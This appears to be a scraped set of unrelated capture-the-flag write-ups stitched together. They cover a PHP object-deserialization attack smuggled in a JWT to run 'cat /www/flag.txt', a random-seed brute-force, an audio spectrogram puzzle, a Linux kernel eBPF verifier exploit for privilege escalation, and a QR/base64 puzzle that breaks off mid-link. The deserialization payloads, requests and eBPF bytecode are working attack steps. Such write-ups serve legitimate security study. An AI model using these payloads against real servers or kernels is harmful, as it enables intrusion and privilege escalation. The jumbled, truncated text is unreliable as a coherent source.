Awesome! We bypassed the admin check. In the log, we see a PHP error and we also notice the file `/www/UpdateLogViewer.inc`. Let's try accessing it
```phpGET /UpdateLogViewer.inc HTTP/1.1
HTTP/1.1 200 OKpackgeName = $packgeName; $this->logCmdReader = 'cat'; } public static function instance() : UpdateLogViewer { if( !isset(self::$singleton) || self::$singleton === null ){ $c = __CLASS__; self::$singleton = new $c("$c"); } return self::$singleton; } public static function read():string { return system(self::logFile()); } public static function logFile():string { return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'; } public function __wakeup()// serialize { self::$singleton = $this; }};```
We see that the `UpdateLogViewer` class implements the [PHP magic method](https://www.php.net/manual/en/language.oop5.magic.php) `__wakeup()` which is automatically invoked for a deserialzied object of this class. We also know from the `/log` messages that `/www/log.php` invokes `UpdateLogViewer::read()`.
We can create our own instance of `UpdateLogViewer` that will dump the `/www/flag.txt` file when `UpdateLogViewer::read()` is invoked. We can serialize this PHP object and embed it in the JWT token. When the server receives it, it will invoke the `__wakeup()` method and use our malicious object instead of the original one that it has.
We use the following snippet of PHP code to generate the appropriate PHP serialized object that will be placed inside the `settings` part of the JWT token.
```php$x = UpdateLogViewer::instance();$x->packgeName = '';$x->logCmdReader = 'cat /www/flag.txt #';
$prefix = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;s:2:"id";s:40:"cfd6d401061ea45691af00ce04d60971a8faf57b";}i:1;';$suffix = '}';print($prefix . serialize($x) . $suffix);```
```phpa:2:{i:0;O:4:"User":3:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;s:2:"id";s:40:"cfd6d401061ea45691af00ce04d60971a8faf57b";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:0:"";s:12:"logCmdReader";s:19:"cat /www/flag.txt #";}}```
We can use [this tool](https://www.unserialize.com) to verify that the above payload deserializes correctly. Let's also escape the double quote characters so that it is in a valid format for the JWT token.
```loga:2:{i:0;O:4:\"User\":3:{s:4:\"name\";s:5:\"admin\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"cfd6d401061ea45691af00ce04d60971a8faf57b\";}i:1;O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:0:\"\";s:12:\"logCmdReader\";s:19:\"cat /www/flag.txt #\";}}```
So, we create a [malicious JWT](https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjI6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fWk6MTtPOjE1OlwiVXBkYXRlTG9nVmlld2VyXCI6Mjp7czoxMDpcInBhY2tnZU5hbWVcIjtzOjA6XCJcIjtzOjEyOlwibG9nQ21kUmVhZGVyXCI7czoxOTpcImNhdCAvd3d3L2ZsYWcudHh0ICNcIjt9fSIsImV4cCI6MjY0MzYzMzQ4M30.2Hediv2wh6h8rvHPni9Dpram-wjVfl_hNOsd6YxBXGQ) this time and send it to the server when accessing `/log`
```htmlGET /log HTTP/1.1Host: 127.0.0.1Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjI6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fWk6MTtPOjE1OlwiVXBkYXRlTG9nVmlld2VyXCI6Mjp7czoxMDpcInBhY2tnZU5hbWVcIjtzOjA6XCJcIjtzOjEyOlwibG9nQ21kUmVhZGVyXCI7czoxOTpcImNhdCAvd3d3L2ZsYWcudHh0ICNcIjt9fSIsImV4cCI6MjY0MzYzMzQ4M30.2Hediv2wh6h8rvHPni9Dpram-wjVfl_hNOsd6YxBXGQ
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36Stack trace:#0 {main} thrown in /www/log.php on line 37#0 {UpdateLogViewer::read} thrown in /www/UpdateLogViewer.inc on line 26
WNNNNWW WWWNXXXXXNW NK00OOOOOOOKW NK00OOOOOKXW WW WW NXK000OO0KNW WWWWWW WWWNWWWWW WK0O0N WNK0OOOXW WK0OOOO0XNW NK00KW WWNK0KNW WX0OOOkOOON WWWWWWWW X0OKW XOKW WX0OO000O0N WWNX00XW X00O0NW WWNK0XW WX0OOKXXXNW NKKO00X WNXKOOkkOOOOOOOOOOOOOOKKKKXXXNNW WNKOOKNWWWW NXK00OKWWWWNXKK0OOOOOOOOOOOOOOOOOOOOO0KKXXXNWWNKOO0XW W WN0O0000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0OOO0XW WNNNW WWWW WNX0OkOOkkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkOOO0KXW WN0O00N WWWNNW WWWNNX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkOKXNWWWWNXK000X NK0OOX WWX000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk0KXXK00XNNNW X00OOOOKXNWX000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKNW NK00KKKKKKKK00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKWW WWNWW WWWWWWXK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0NW WNXXNW WWW NX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkOKNW WN00OOXW WNNXKXW WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KXNWNXXKOOO0NW NK0OOOX WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO00OO00O00OKW WNKOOOOOO0KXNNWWWNX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XW WWNNWW WNKOOOOO00KXXKXXXX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk0NW WNW WNKOOOO0XKK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk0W WNNNW WW WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KW WX00OOXW WWWW WNKOOOOOOkkkOOOOOOOOOOOOOOOkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkk0XNNNWWWNNXK0OOOKNW WKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KXNNXXK00OOOO0XW WKkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOxxO00000O0OOOOOXW WNXNNNWNOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ############### OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOxkKXXXXXXXK0OOOKN WX0KXNNXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO # 1NS0MN1H4CK # OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOxKW WNK0OOXW WX0O0XNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ############### OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKKN WNXKXWWN0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkXWXNW WW WX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0NW WK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKXXNXXKKNW WX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO00KNXXX0O0NW WWKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XNXXK0Ok0NW WX00KXNNXK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOX WNXXNW WXOkO000KKKXXXX00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XW WWWWW WX0OOOOO0KNW WX00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKW WX0OOOKW WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XW WWNXXXNW WXKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0000KKKXXNNXXXXNW WWWW NX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KK0O00KXXK00KNW WNK0OOkO0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKNW WWX0OOOOk0NW WNXK00KXNNXK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkO0KXNW WKOOOOOKXW WW WWW WWN00OOKXW WXK00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkO00XW X00OO0XW WX0OkO0OOOOXWW WX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0NW WWNNWW WK0OOOkOOOXW WX0O0KXXXKK000OOOOOOOOOOOOOOOOOOOOOOkO00KXXNX0O0KNW WX00OOOOOOX WWW WKO0KNW WNXXK0O00OOOOOOOOOOOOOOOOOOOOOKXNWWWNXKO0NWWW W WNK0OOOO0N XOO00OkOXW WNX0OOO0XNNNNNWWWWWX00X WKOO0XXNNNW WWWNNNXNNW NK0OO0OOKNW WXOOKNW WW WX0kOKXN NX0OOO000KN W WXK000OO0KNW XOOXW WKOOO0XN WKOOOOOO0KN WNNNNW WNK00N WXXXNW WX0OOO00KNW WWWW WX0O0N WWWWWW WWWWNNWW WWWX0OOOKW N00OOOOOk0XW WK00O0OOk0XW WX0000000KXW
The flag is INS{P!mpmYV4rianThat's1flag}</textarea></body></html>```
We are presented with some cool ASCII art and also the flag! We effectively have an RCE on the web server!
`INS{P!mpmYV4rianThat's1flag}` |
See here : [https://berryberry.hatenablog.jp](https://berryberry.hatenablog.jp/entry/2022/03/07/230635) First of all, I got a couple of files "log.txt" and "rand.py".
## Given Files"rand.py" is a program that uses UNIX time as a seed value to obtain a pseudorandom number.```import random import time import hashlib
seed = round(time.time())random.seed(seed, version=2)
while True: rand = random.random() has = hashlib.sha256(str(rand).encode()).hexdigest() flag = f"CTF{{{has}}}" if "7a2" in has: with open("./flag", "w") as f: f.write(flag) break else: print(f"Bad random value: {rand}")``` "log.txt" is a output of "rand.py".```Bad random value: 0.33567959567961436Bad random value: 0.8913897703358419Bad random value: 0.3032054069265432Bad random value: 0.6860829464688437Bad random value: 0.2658087107328536Bad random value: 0.8903005048882441Bad random value: 0.914630909612433Bad random value: 0.9688578899818961Bad random value: 0.7925090397955323Bad random value: 0.10136501216336935Bad random value: 0.568451491382639Bad random value: 0.16898065821921437Bad random value: 0.5541712073794856Bad random value: 0.029926361216790154Bad random value: 0.18218590474521223Bad random value: 0.49713845657579536Bad random value: 0.7631162105077507Bad random value: 0.7386939443532723Bad random value: 0.5815609491717452Bad random value: 0.5905894610211082Bad random value: 0.09018146469820387Flag created ```## ## SolutionWe can see "flag created" in log.txt at 22 lines, so we need to calculate the UNIX time which has "7a2" in line22. I obtained by the use of brute-force.```import randomimport timeimport hashlib
now = 1646547850 # current time when i solved
tmp = [0.33567959567961436, 0.8913897703358419, 0.3032054069265432, 0.6860829464688437, 0.2658087107328536, 0.8903005048882441, 0.914630909612433, 0.9688578899818961, 0.7925090397955323, 0.10136501216336935, 0.568451491382639, 0.16898065821921437, 0.5541712073794856, 0.029926361216790154, 0.18218590474521223, 0.49713845657579536, 0.7631162105077507, 0.7386939443532723, 0.5815609491717452, 0.5905894610211082, 0.09018146469820387]
while (now > 0): random.seed(now, version=2) for cnt in range(21): rand = random.random() if (rand != tmp[cnt]): break else: print(now) exit() now -= 1```Then, run "rand.py" using UNIX time which obtained earlier.Finally, we can get FLAG.```CTF{82eafc43f229ea3ffe489444c973a8bbbfbbbac54095ba207a222e9918290fdc}``` |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/07/230635)First of all, I got a file "Message.wav".## SolutionOpen with audacity. Then, display spectrogram and set the sampling frequency to 22050 Hz. Now, we can see this image.I thought the message was "we need infoce me", however this was incrrect. This was unnatural, but also read as natural. I took some mistakes for submitting flag. Finally, I understand what message below is.```CTF{WE-NEED-INFORCEMENTS}``` |
### d3bpf
此题是一个 Linux kernel ebpf 利用的入门题。主要参考了[这篇文章](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story)。exp 也有一部分使用了作者的代码。事实上,参考这篇文章就可以完成对本题的利用。非常感谢这篇文章的作者!
This challenge is an introductory question of Linux kernel ebpf exploit. The main reference is [this artical](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story). Part of the exp also used the code of the author. In fact, you can solve this challenge by referring to this article. Many thanks to the author of this article!
#### 1.Analysis
当 `CONFIG_BPF_JIT_ALWAYS_ON` 生效时(本题的 kernel 就是这样的),ebpf 字节码在载入内核后,会首先通过一个 verifier 的检验。保证不存在危险后,会被 jit 编译为机器指令。然后触发时,就会执行 jit 后的代码。
When `CONFIG_BPF_JIT_ALWAYS_ON` is in effect (which is the case for the kernel used in this challenge), the ebpf bytecode is loaded into the kernel and passes a verifier first. After ensuring that there is no danger in the code, it is then jit compiled into machine code. Then, when triggered, the jited code will be executed.
因此,如果 verifier 判断出错,就可能通过 ebpf 注入非法代码,实现权限提升。
Therefore, if the verifier judgment is wrong, it is possible to inject illegal code via ebpf to achieve privilege escalation.
附件中提供了 diff 文件,可以发现添加了一个漏洞
The diff file is included in the attachment, you can find there is a vulnerability added.
```clike=...diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.cindex 37581919e..8e98d4af5 100644--- a/kernel/bpf/verifier.c+++ b/kernel/bpf/verifier.c@@ -6455,11 +6455,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env, scalar_min_max_lsh(dst_reg, &src_reg); break; case BPF_RSH:- if (umax_val >= insn_bitness) {- /* Shifts greater than 31 or 63 are undefined.- * This includes shifts by a negative number.- */- mark_reg_unknown(env, regs, insn->dst_reg);+ if (umin_val >= insn_bitness) {+ if (alu32)+ __mark_reg32_known(dst_reg, 0);+ else+ __mark_reg_known_zero(dst_reg); break; } if (alu32)...```
在 X86_64 下,对于 64 位寄存器进行右移操作时,如果操作数大于 63,那么大于 63 的部分会被忽略(也就是只有操作数的低 6 位是有效的)。那么如果我们进行这样一个操作 `BPF_REG_0 >> 64`(且通过了 verifier 的检测),在 ebpf 代码通过 jit 编译后,生成的汇编代码就可能是这样的: `shr rax, 64`,代码执行后,`BPF_REG_0` 应当仍然保持为 1。
Under the X86_64 architecture, if the operand is greater than 63, the part greater than 63 is ignored (i.e. only the lower 6 bits of the operand are valid) for a right-shift operation on a 64-bit register. So if we do an operation like `BPF_REG_0 >> 64` (and it passes the verifier's test), after the ebpf code is compiled by jit, the resulting assembly code may look like this: `shr rax, 64`, and after the code is executed, `BPF_REG_0` should still be 1.
不过这是架构相关的,不同架构可能会有不一样的表现,所以我们可以看到,patch 前的 verifier 在处理该操作时,会把寄存器的范围设置为 unknown。然而 patch 后的 verifier 则会把寄存器直接置为 0,如果我们提前把寄存器置为 1,对它执行右移 64 位的操作,之后就会获得一个运行时值为 1,但是 verifier 确信为 0 的寄存器。
But this is architecture-dependent, and different architectures may behave differently, so we can see that the pre-patch verifier will set the range of the register to unknown when it processes the operation. However the post-patch verifier will set the register directly to 0. If we set the register to 1 in advance and perform a 64-bit right-shift operation on it, we will get a register that is 1 at runtime, but the verifier is sure it is 0. If we set the register to 1 in advance, we will get a register with a runtime value of 1, but the verifier will believe it is 0.
#### 2. exploit
在我们获得了这样的寄存器后,就可以绕过 verifier 对指针运算的范围检测。很容易实现,假设 `EXP_REG` 是一个运行时值为 1,而 verifier 认定为 0 的寄存器,只要将 `EXP_REG` 乘以任意值,与一个指针相加,verifier 会认为将会执行的运算为 `ptr + 0`,实际上则会是 `ptr + arbitrary_val`。
After we obtain such a register, we can bypass the verifier's range detection for pointer arithmetic. This is easy to achieve. Assuming that `EXP_REG` is a register with a runtime value of 1 that the verifier determines to be 0, just multiply `EXP_REG` by arbitrary value, add it to a pointer, and the verifier will believe that the operation will be `ptr + 0`, but it will actually be `ptr + arbitrary_val`.
不过,在 ebpf 字节码通过 verifier 的检测后,还会通过 `fixup_bpf_calls` 给字节码添加一些 patch(这个 patch 指,对传入的 ebpf 字节码,在某些存在危险的操作前添加的一些 bpf 指令。添加的字节码将在 jit 编译后一起被加入代码中,作为一种运行期的检测)才会 jit 生成代码,在这里,对于指针(ptr)和标量(scalar)的 BPF_ADD 或 BPF_SUB 运算,会添加这样的 patch
However, after the ebpf bytecode passes the verifier's detection, some patches (This **patch** refers to some bpf instructions added to the incoming ebpf bytecode before certain dangerous operations. The added bytecode will be added to the code after jit compilation as a runtime detection) are added to the bytecode via `fixup_bpf_calls` before the code is generated by jit, where such patches are added for BPF_ADD or BPF_SUB operations on pointers (ptr) and scalars (scalar)
```clike=... if (isneg) *patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1); *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1); *patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg); *patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg); *patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0); *patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63); if (issrc) { *patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);...```
这里的 off_reg 指的是将要和 ptr 相加的 scalar。alu_limit 是该指针能够接受的运算的最大值(verifier 对 ptr 的值做跟踪,从而计算出保证 ALU 运算后不会溢出的最大值)。patch 后的代码在执行时,如果 off_reg 的值大于 alu_limit,或者两者的符号相反,那么 off_reg 就会被置 0,可以认为指针运算就不会发生。
The off_reg refers to the scalar that will be added to the ptr. alu_limit is the maximum value that the pointer can accept for the operation (the verifier keeps track of the value of the ptr to calculate the maximum value that is guaranteed not to overflow after the ALU operation). When the code after the patch is executed, if the value of off_reg is greater than alu_limit, or if they have opposite signs, then off_reg will be set to 0, and it is assumed that the pointer operation will not occur.
但是此时我们有一个运行时值为 1,而 verifier 认定为 0 的寄存器,所以其实很容易绕过这个 patch。
But at this point we have a register with a runtime value of 1 and a verifier identified as 0, so it's actually easy to bypass this patch.
```clike= BPF_MOV64_REG(BPF_REG_0, EXP_REG), BPF_ALU64_IMM(BPF_ADD, OOB_REG, 0x1000), BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0x1000 - 1), BPF_ALU64_REG(BPF_SUB, OOB_REG, BPF_REG_0), BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),```
这里 OOB_REG 是一个指向一个 oob_map 头部的指针,EXP_REG 是运行时值为 1,而 verifier 认定为 0 的寄存器,先给 oob_map 加 0x1000,然后通过 EXP_REG 将指针减回 oob_map 头部,verifier 仍然会认为 OOB_MAP 指向的是 `&oob_map + 0x1000`,所以之后对 OOB_MAP 做减法时,patch 的 alu_limit 仍然会是 0x1000,就可以实现向低地址溢出。
Here OOB_REG is a pointer point to the start address of an oob_map, EXP_REG is a register with a runtime value of 1, and the verifier determines it to be 0. First add 0x1000 to oob_map, then subtract the pointer back to the start address of the oob_map by EXP_REG, the verifier will still think that OOB_MAP is pointing to `&oob_map + 0x1000`, so when subtracting OOB_MAP afterwards, the alu_limit of patch will still be 0x1000, and overflow to lower address can be realized.
可以实现 oob 后,最直接的就是我们可以实现 leak,在 oob_map 前面是一个 bpf_map 的元数据,其中存储了一个虚表的地址,该虚表处于内核的 .text 段,load 出来即可实现 leak。
After oob can be achieved, the most direct thing is that we can implement leak, in front of oob_map is a bpf_map metadata, which stores the address of a dummy table, the dummy table is in the .text section of the kernel, load out to achieve leaking.
```clike= BPF_ALU64_IMM(BPF_MUL, EXP_REG, OFFSET_FROM_DATA_TO_PRIVATE_DATA_TOP), BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG), BPF_LDX_MEM(BPF_DW, BPF_REG_0, OOB_REG, 0), BPF_STX_MEM(BPF_DW, STORE_REG, BPF_REG_0, 8), BPF_EXIT_INSN()```任意地址读可以通过 obj_get_info_by_fd 函数实现。该函数会返回 bpf->id 的值。通过溢出修改 btf 指针即可任意地址读。
Arbitrary address reads can be achieved with the obj_get_info_by_fd function. This function returns the value of bpf->id. The btf pointer can be modified by overflow to read at any address.
```clike=//kernel/bpf/syscall.c if (map->btf) { info.btf_id = btf_obj_id(map->btf); info.btf_key_type_id = map->btf_key_type_id; info.btf_value_type_id = map->btf_value_type_id; }```
通过劫持 oob_map 元数据中的虚表,可以实现任意函数调用。为了劫持虚表,我们需要向内核中写入一些数据,并且需要知道该数据的地址,笔者通过内核的基数树实现从 `init_pid_ns` 开始搜索,搜索到本进程的 task_struct,然后获取 fd_table,然后找出 bpf_map 的地址,读出 `bpf_map->private_data` 的值,由此获得了一个 map 的地址,然后写入 `work_for_cpu_fn` 劫持 `map_get_next_key` 指针,调用此函数,即可实现 `commit_cred(&init_cred)` 实现提权。
By hijacking the virtual table in the oob_map metadata, we can implement arbitrary function calls. In order to hijack the virtual table, we need to write some data to the kernel and we need to know the address of that data. I copyed the kernel's radix tree to search from `init_pid_ns` to the task_struct of this process, then get the fd_table, then find out the address of bpf_map, read out the value of `bpf_map-> private_data` to get the address of a map, then write `work_for_cpu_fn` to hijack the `map_get_next_key` pointer, and call this function to execute `commit_cred(&init_cred)` to achieve the privilege escalation.
搜索基数树的代码比较长,这里就不放了,完整的 exp 在[我的 GitHub 仓库](https://github.com/chujDK/my-ctf-challenges/tree/main/d3bpf)中。
The code for searching the base tree is rather long, so I won't put it here; the full exp is in [my GitHub repository](https://github.com/chujDK/my-ctf-challenges/tree/main/d3bpf).
#### 3. more...
正如文章开头所写,本题出题前主要参考了对 CVE-2021-3490 的利用,事实上笔者也是 kernel 利用的初学者,在学习了该利用后才出的这道题。由于新版本的 kernel 增加了对 ALU 运算的 mitigation,所以此利用方法其实已经失效,为了出题选用了一版本较旧的内核,却忘了 patch 掉 CVE-2021-3490,有些师傅使用该 CVE 的公开 exp 改改偏移就打通了,给各位大师傅们带来了十分不好的做题体验,在这里献上笔者最诚挚的歉意。
As written at the beginning of the article, the main reference for this question was the exploitation of CVE-2021-3490. In fact, I am also a beginner in kernel exploitation, and only after learning the exploitation did I come up with this question. As the new version of the kernel has added some mitigations of ALU operations, so this method of utilization has actually failed, in order to create a introductory challenge,i chose an older version of the kernel, but forgot to patch off CVE-2021-3490, some use the public exp of the CVE to change the offset on the pass, giving you a very bad experience of doing the problem, I would like to offer my most sincere apologies.
虽然新版本添加了 mitigation,但是对于类似的漏洞,仍然是可利用的,请看 d3bpf-v2。
Although the new version adds mitigation, it is still exploitable for similar vulnerabilities, please take a glimpse at the challenge d3bpf-v2. |
From the description

we have a flag.png , open it and get a QR code

scan the code and will return a string.```aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xRDBtTkp0YThkRFRDY2VCREkycG9YS3AyYlJhMEcya0Ivdmlldz91c3A9c2hhcmluZw==```
it looks like base64, decode it using [cyberchef](https://gchq.github.io/CyberChef/#input=YUhSMGNITTZMeTlrY21sMlpTNW5iMjluYkdVdVkyOXRMMlpwYkdVdlpDOHhSREJ0VGtwMFlUaGtSRlJEWTJWQ1JFa3ljRzlZUzNBeVlsSmhNRWN5YTBJdmRtbGxkejkxYzNBOWMyaGhjbWx1Wnc9PQ), it returns a link.

Open the link, and download the file.

it's a stream of binary data.
Also, we use [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Binary('Space',8)&input=MDExMDAwMTEgMDAxMDAwMDAgMDAxMTExMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMTAwMTAgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMTEwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMTEwMDAgMDAxMTAxMTAgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMTAxMDEgMDAxMTAwMTAgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMTAwMTEgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMTAwMTEgMDAxMTAwMDEgMDAxMTEwMDEgMDAxMTEwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMTAwMTAgMDAxMTEwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMTAxMTAgMDAxMTAwMDAgMDAxMTAxMDAgMDAxMTEwMDAgMDAxMTAwMTAgMDAxMTEwMDEgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMTAxMDEgMDAxMTAxMTAgMDAxMTAwMTAgMDAxMTAxMTAgMDAxMTAxMTAgMDAxMTAwMTAgMDAxMTEwMDEgMDAxMTEwMDEgMDAxMTAwMTEgMDAxMTEwMDAgMDAxMTAwMDAgMDAxMTEwMDEgMDAxMTAwMTAgMDAxMTAxMTAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMTEwMDEgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTEwMDEgMDAxMTAwMTEgMDAxMTAwMDEgMDAxMTAxMDEgMDAxMTAxMDAgMDAxMTEwMDEgMDAxMTEwMDAgMDAxMTAwMTEgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMTAwMTEgMDAxMTEwMDEgMDAxMTAwMDAgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMTAwMTAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMTAwMTEgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMTEwMDEgMDAxMTAwMTAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMTAwMTEgMDAxMTEwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMTEwMDAgMDAxMTAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMTAxMTA